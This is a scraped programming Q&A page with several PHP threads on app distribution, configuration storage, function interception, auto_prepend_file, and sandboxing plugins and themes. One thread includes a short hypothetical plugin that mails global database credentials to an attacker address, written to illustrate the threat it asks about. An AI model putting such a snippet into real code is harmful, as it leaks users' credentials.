Distributing a small PHP application - php

I wrote a small PHP application that I'd like to distribute. I'm looking for best practices so that it can be installed on most webhosts with minimal hassle.
Briefly: It's simple tool that lets people download files once they login with a password.
So my questions are:
1) How should I handle configuration values? I'm not using a database, so a configuration file seems appropriate. I know that other php apps (e.g. Wordpress) use defines, but they are global and there is potential that the names will conflict. (Global variables also have the same problem, obviously.) I looked at the "ini" file mechanism built into PHP. It only allows comments at the top - so you can't annotate each setting easily - and you can't validate syntax with "php -f". Other options?
2) How to handle templating? The application needs to pump out a form. Possibly with an error message. (e.g. "Sorry, wrong password.") I've have a class variable with the HTML form, but also allow an external template file to be used instead (specified in the config). I do some trivial search and replace - e.g. %SCRIPT% to the name of the script, %STATUS% to hold the error message. This feels a bit like reinventing the wheel, but including a templating system like Smarty is overkill. (Plus they may already have a templating system.) Other options?
3) i18n - There are only 3 message strings, and gettext doesn't seem to be universally installed. Is it such a bad idea just to make these three strings parameters in the config file?
4) How to best integrate with other frameworks? My app is a single class. So, I thought I could just include a php script that showed how the class was called. It would be a starting point for people who had to integrate it into another framework, but also be fine as-is for those not interested in customizing. Reasonable?
5) GET/POST parameters - Is it bad form for a class to be looking at $_GET and $_POST? Should all values be passed into my class during construction?
Thanks.

Configuration
You can use a php file like this:
<?php
return array(
'option1' => 'foobar',
'option2' => 123,
//and so on...
);
?>
And in the main class just use:
$config = (array) include 'path/to/config/file';
And if you plan to mostly distribute your class as a component in other applications, then simply put config array/object as a parameter in your class' constructor and leave the details to the user.
Templating
For such simple application the method your described should be enough. Remember that one can always extend your class and overload your outputting method with his own.
I10N
As mentioned before, for 3 variables anything more than storing them as config is just overkill.
Integration
Comment each public method (or even better also protected and private ones) with explanations what do they do and what parameters are needed. If you combine that with an example, it should be enough for most users.
GET vs POST
Your class uses passwords and you even think of sending them via GET? ;)
Think of browser history, referer headers etc - your users' passwords would be visible there.

Can config be local to class instances? Or could you create a little class that you could create an instance of to query for config values? Also prepending any global vars with you application's name should go some way to stop clashes.
If your templating is really simple, just write a short templater. It'll be easier than trying to fend off problems people get with any 3rd party templater. It might also simplify licensing issues. If you start worrying about what they already have, you'll never release anything. There are too many combinations.
For 3 strings? Yeah do those the same way you're handling config.
Good comments throughout with an intro explaining how you use the class.
I don't think so. If it bothers you, you could use default arguments to use given arguments first, then search for GET/POST values if none are provided (though that might be a security risk)
There are other things to take into consideration. Lots of people are on shared hosts and as a result, don't have control over their php.ini or their php version. You need to make sure you're only using features that are as commonplace as possible.
One example is that shorttags aren't enabled on some hosts (you have to use <?php ... ?> and <?php echo "..."?> instead of <? ... ?> or <?= "..." ?>) which can be a royal PITA.

In addition to Krzysztof's good advice:
Use <?php only
If you use functions that can be disabled, use function_exists() to ensure they're available. #missing_function() makes PHP die silently without any error logged.
You can't rely on things that can be disabled/changed via php.ini. Use ini_get() to adapt to different settings.
If magic_quotes are enabled, strip slashes only on from your copy of input – don't modify global arrays! Security of some lame code may rely on these slashes being present.
Expect that users will mindlessly copy&paste code from your documentation/website.

Related

How to intercept a function call (with arguments) without editing function or the code that calls it?

I want to intercept CMS function and log it's arguments every time it is called. Namely I want to get all calls to t(). Problem is, in CMS core there are 1875 calls to t(), so it is not feasible to edit code that calls it. On the other hand, I can include my code snippet before first function call.
I have seen How to intercept PHP function call in my script?, but it's accepted answer assumes user can replace direct calls with calls to his new function. That's not my case. Linked article is about intercepting methods, so it seems not applicable, too.
Some of the other Drupal functions, like variable_set(), use global arrays, so I was able to plug into them by replacing global array with an object. Sadly, t() only uses global $language, and this variable is not an array searched against function's argument, so this approach is not possible and I need a native PHP solution.
Is there any way to intercept actual function calls, the way they are written? For now I actually hacked t(), but I really, really want to avoid it. Sadly, all solutions I found on the net seems to cope with interacting with own code, not with the code written by others in framework.
Last but not least: I can install additional software on dev machine. It's Ubuntu Server. So if any PHP plugin can be used, I'd like to know that. I would prefer solution that does not require any, but I can live with it.
This question is related to, but not a duplicate of, How to make strings from templates translatable on all pages they appear? on Drupal Answers. Now I'm trying to find a way to hack function _l10n_client_page_strings() of Localization Client module. But I'm sure actual function call interception would be interesting for many people.
Why I need it?
To answer this comment: Well, I believe it's generally interesting PHP issue, but my questions has also a practical purpose.
To translate website, one would traditionally:
Export translatable strings
Translate *.po file without seeing where and how string is used, possibly introducing errors (usually person translating site is not the one who manages it in day-to-day basis, so translator does not know the context)
Import file
Test translation, note errors and things that does not make sense
Go to 2.
With Localization Client procedure should look like that:
See page with untranslated / badly translated strings
Fix translations directly
Simpler, faster, less error-prone. Only problem with this module is that it does not collect strings actually used on page, but uses queries that "will not work reliably" (their own comment), so:
it lists a lot of strings, some of them are not really used on page, just happens to be in a module used in page generation
and worse, it misses some strings.
That's why I was trying to patch _l10n_client_page_strings() function with something that works slower, all right, but also is doing it's job directly. And I know some calls in template files may happen too late, but I'm willing to cross that bridge when I'll reach it. For now I need a reliable way to actually know these calls without hacking anything but the module I'm trying to force to work the way it should.

is this the proper use of auto_prepend_file

Looking at building my first PHP application from the ground up. So pardon the noob question.
Is it proper to use auto_prepend_file to manage common variables like a default db connection or run session_start() or is there a more favorable way to define "application" variables and add session management to every page?
I'm asking because I came across a warning in netbeans when using a variable defined in an include. Searching google I saw a few posts stating that defining the variables in an include was bad practice; so what's the good practice in PHP?
Thanks
Most modern php application layouts do not have the required resources loaded in the code.
Instead most often there is an autloader that parses the requested resource (class name) and loads the correct file. Then most things are encapsulated in objects and classes.
The most common standard now is PSR-0
Configs are mostly stored in config files of various formats, like xml. Then there is often an object that is used to read those configs. From this object the configuration is then obtained to be used in certain places like database connections.
Also those things that get executed are mostly not executed in the code but rather execute themselves by attaching themselves to certain points in a program.
Most php frameworks have a thing called "hooks" or "events". Basically it's nothing else but a simple list with event names and for each entry a list of functions that should be executed.
When some part of the code "fires" it uses a helper class that walks through the entries of the list and executes those as well.
You ask yourself, can't you have loops there? The simple answer is, yes.
The whole idea behind all this stuff is that you have to change no existing code anywhere if you want to bring new code into your application.
Is that good practice? I honestly don't know.
If a project exceeds a certain size and multiple persons are programming on it, some standard may be necessary. And the way not to modify existing code has proven good in practice.
Regarding auto_prepend_file, that is something that I would not do.
I may do it if I have no other way. For example, if I want to execute some code that protects my application from ddos or security injections. And I just do not want to mess with the application itself.
But if I design something from the start, I would not do it.
Why? Maybe I want to switch to a new webserver, or even execute my program in the command line. Then I have a problem if I defined my auto prepending in apache...
Or maybe I have some code where I do not want that at all? Just one file within my application where I just do not want it because I do not need it and it takes up resources or is a security risk?
I often write an application where I have for example the database username and password directly in the function that establishes the link.
Why? Why not? Because I do not want to have it available on a global scale. If it's in the function code, its harder for other, possibly insecure code, to access it.
The very most common mean is to have a config file and just require it somewhere in your application.
Also most modern applications do not have different php files that get loaded by the webserver, so there is no need for having the same code at multiple places.
Instead most modern applications have a single php file (mostly index.php) that serves as a so called "bootstrap" file. The webserver rewrites every request instead of the requests to static resources like images to there, and everything else, like deciding what content to show when looking at the requested url, is handled in the application.

Protecting variables from stealing in php

I have a question which is bounching in my mind since a long long time.
I'm on a CMS project and I really don't know how to do this:
I want this cms to be mod-able by using a plugin system, nothing difficult until now.
Well, I now have this question how can i protect a variable/constant like mysql password of the admininstrator user?
For example, in the file settings.php i have
$mysql = array("user" => "admin"...);
How can I make a class not to read it?
A simple class (plugin) could do
class myplugin extends plugin_container {
function badfunction() {
mail("my bad address", "data stolen", $GLOBALS["mysql"]);
}
A simple plugin, in this way, can steal the user's sensible datas. How can i fix this ?
You can't... Plugins can execute code and you can't control that code.
You can however approve one-by-one the plugin, to avoid potentitial issue.
You can't really do this in PHP. You can put the varible in an object, make it private, but using Reflection, other code can get it as well. Hell, even if it couldn't, there are still ways to get object's internals when you shouldn't, like var_dump, debug_zval_dump, and more.
I would suggest either:
discard the password after you connect to the database (and load modules after you connect)
store it somewhere else than memory (a config file), but that doesn't solve anything, since the plugin can still access that config file
give up and say "modules are trusted" -- that's probably what all CMS do
some more weird method - sandbox modules, run the as separate process with dropped unix privileges, virtualize them... I guess any of this is not practically useful
Generally, when your code runs in some context (like in a PHP script) and you want to allow some module or plug-in to run in the same context, there is no way to hide anything. The plugin will have access to the same memory (all the variables), all open resources (database connections) and it will basically be indistinguishable from any other code in that context. The same applies to many other contexts, e.g. a native process running in an OS. Of course you can make it "harder" to get some variable or resource, but you can never ensure it can't be accessed. Unless you run the other code in a different context (other process, virtualization, ...).
Although you can try changing the scope of $mysql to some local scope - getting the data by calling a function like this:
function mySafeBox() {
return $mysql;
}
now, the plugin code won't be able to access it from $_GLOBALS, but there's no point in doing so...since you ARE relying on the plugin by using it...this way, you won't ever find a good 'solution' to this problem, which never existed
PHP offers no facility for internal security boundaries. Most languages are like this; an exception would be Java.
So if you want to build a trust boundary in a PHP script you would have to do it via OS-level privilege separation mechanisms: spawn a process running under a separate user principal with lower privileges, and use a pipe to communicate between that and the main trusted app. This would require a load of architectural rework that doesn't fit within the usual PHP invocation model.

Isolation in PHP?

Here's something I've thought about for a while.
I am creating an application where's my users will upload their own custom themes, which means that there's going to be a good opportunity for anyone with basic PHP/XSS/whatever skills to cause a lot of headache.
I would like to run any uploaded files in a sort-of sandboxed, closed environment that only has access to the stuff (variables) that I want and nothing else.
Would this be good practice and how would it be done?
To allow arbitrary html/javascript safely then each user must have its own subdomain. If each user has their own subdomain then a user's JavaScript will be restricted their own sandbox because of the Same Origin Policy. If you only want to allow "safe html" then htmlpurifer is an option, and then you can use 1 domain.
Allowing custom PHP is a bit more hazardous. "Shared hosting" providers rely upon suPHP which forces the php script to run as a specific user. This would require every user to have their own account on your system. This method of defense has been around for a while. It isn't perfect but it does the trick.
Another possible solution for custom themes is to use a templating engine, which can prevent templates from getting full access to PHP. SOme popular frameworks for this:
smarty, it doesn't have the best secuirty track record, but you keep it up to date you probably won't have a problem. It needs to be configured to disallow native php.
twig is a relatively new engine from the makers of Symfony Framework. This means it has a decent developer base and since it ships with Symfony, it's also been tested in the wild. Twig does not allow any PHP functions to be called, unless you specifically create a twig function/filter for them.
As you don't want to grant your users access to PHP, you should use a template engine that supports sandboxing. Twig is a prominent example here.
global scope will always be accessible.
but object oriented concept provide a lot. what you can't do is to hide global stuff. what you can do is not make it visible in the first place.
but executing unreviewed 3rd party code is a tricky thing. i would recommend some sort of process isolation here if possible. which means you open a process using popen or something, in combination with suphp you can make a restricted linux user. that is very well possible and secure with the correct security measures in place.
a good approach to run the code within the same program is to use the templating pattern. its a bit unpractical for classes because whole files get loaded that can inject hazardous code. but you can create custom functions in php from code. the code does not get executed unless the function is called. you can also extend a class to a variable name, which is then user supplied code. however this is almost unpossible to make safe.
when it comes to html code , it is way easier. there are good html tidy is a good start. there are good solutions to allow only speical tags.
javascript can be "secured" in a way that old facebook fbml applications did. which includes server side rewrites, dynamic variable names etc its quite complicated.
in my opinion the best way to allow external customizations is to allow external stylesheets. just load them from an external origin and there is not really a security concern.
edit: of course you can parse any code and limit it to certain statements or deny certain statements, but this is very tricky and for php a very heavy constraint. its probably better to switch to some higher level algorithmic languages or go client side with javascript.
What you want to do is really risky. You should never allow your users to upload PHP files. That's why you don't find many PHP fiddlers around the net (though now there's some).
Also JS is dangerous in some indirect ways and pretty much nobody allows you to upload it (with the notable exception of Tumblr).
What you should do is adopt some kind of templating engine, and sanitize the templates the users upload, to remove scripts.
Since security is an issue, try to check security advisories like Secunia when choosing the templating engine.

What's the best way (coding-wise) to store system configuration in a PHP application?

Note: Configuration are being kept in a PHP file, config.php.
I've seen this done differently, here's a short list of examples (I'm storing DB info in these examples):
Constants: global, readonly
define('DB_USER','user12');
define('DB_PASS','21user');
Using GLOBALS array: global, changeable, repetitive, mixed with other globals
$GLOBALS['DB_USER']='user12';
$GLOBALS['DB_PASS']='21user';
Using a non-global array but raised globaly: possibly worse than the 2nd option
$config=array(); ...
$config['DB_USER']='user12';
$config['DB_PASS']='21user';
... global $config;
mysql_connect('localhost',$config['DB_USER'],$config['DB_PASS']);
Defining class properties: (global, enumerable)
class Config {
public $DB_USER='user12';
public $DB_PASS='21user';
}
Criteria/Options/Features:
ease of coding: you wouldn't want to check if the setting exists, or initialize it
ease of modification: a non-programmer/layman could easily modify the settings
stored in a clean place: not mixed with other variables (can be stored in a sub-array)
runtime modification: in some cases, other devs may easily modify existing settings
The configuration might need to be changed some time during the running of the system, so option 1 is already not viable. The third option is not too clean either.
While writing this, I'm getting a big warning on the discussion being subjective and closed. So please keep up to the topic and give valid reasons to your answers.
This is a pretty obvious question, and considering I'm well familiar with different answers, you might ask, why am I making all this fuss? The thing is, I'm developing a framework, and unlike another framework (*ahem* joomla *ahem*) I don't want to pass through their mistake of throwing in a miss-informed solution which ends up having to be changed/re-purposed in the future.
Edit: First of, the location of the config file does not concern me. I'll make sure people can easily change location, if they want to, but this will not be a requirement.
First of, cheap webhosts does not allow doing this, secondly, as far as security goes, this is really not a good option. Why? Because, the framework needs to know where the config is. Really, security through obscurity does not work. I'd rather fix all RFI and XSS (for instance) than be paranoid on hiding the config file under several layers.
Hard-coded data may not be an option where people doing reconfiguration are not code-adept. Consider using parse_ini_file().
Why not use Zend_Config? It creates a common interface for configuration options that can be stored in a confing file or a database (with a proper adapter). And it's lightweight; you don't have to bring in the entire Zend framework to use it.
BTW, since you're building a framework, you should keep pollution of the global namespace to a minimum. Something like your 3rd option, and if you're targeting 5.3 exclusively, look at using proper namespaces.
A bit late, but this might be of interest to you: http://milki.include-once.org/genericplugins/genconfig.html
It provides a simple API to edit PHP config files in-place. It keeps comments and other code in-tact. And it allows for a global $config array/ArrayObject and defining constants. It operates almost automatically if combined with plugin configuration comments. However, it's a lot of code. But maybe worth checking out for the concept. (I'm also using a readable config.php, as it seems the most useful configuration format for me.)
Put in a common file and include it every where you need. The benefit when you go live or move to your test server you just need to edit just this one file and all configs are changed. Method 2 is better as it allows you to change it.
Remember once you connect to mysql if you need to change the user and pass you have to re-connect

Categories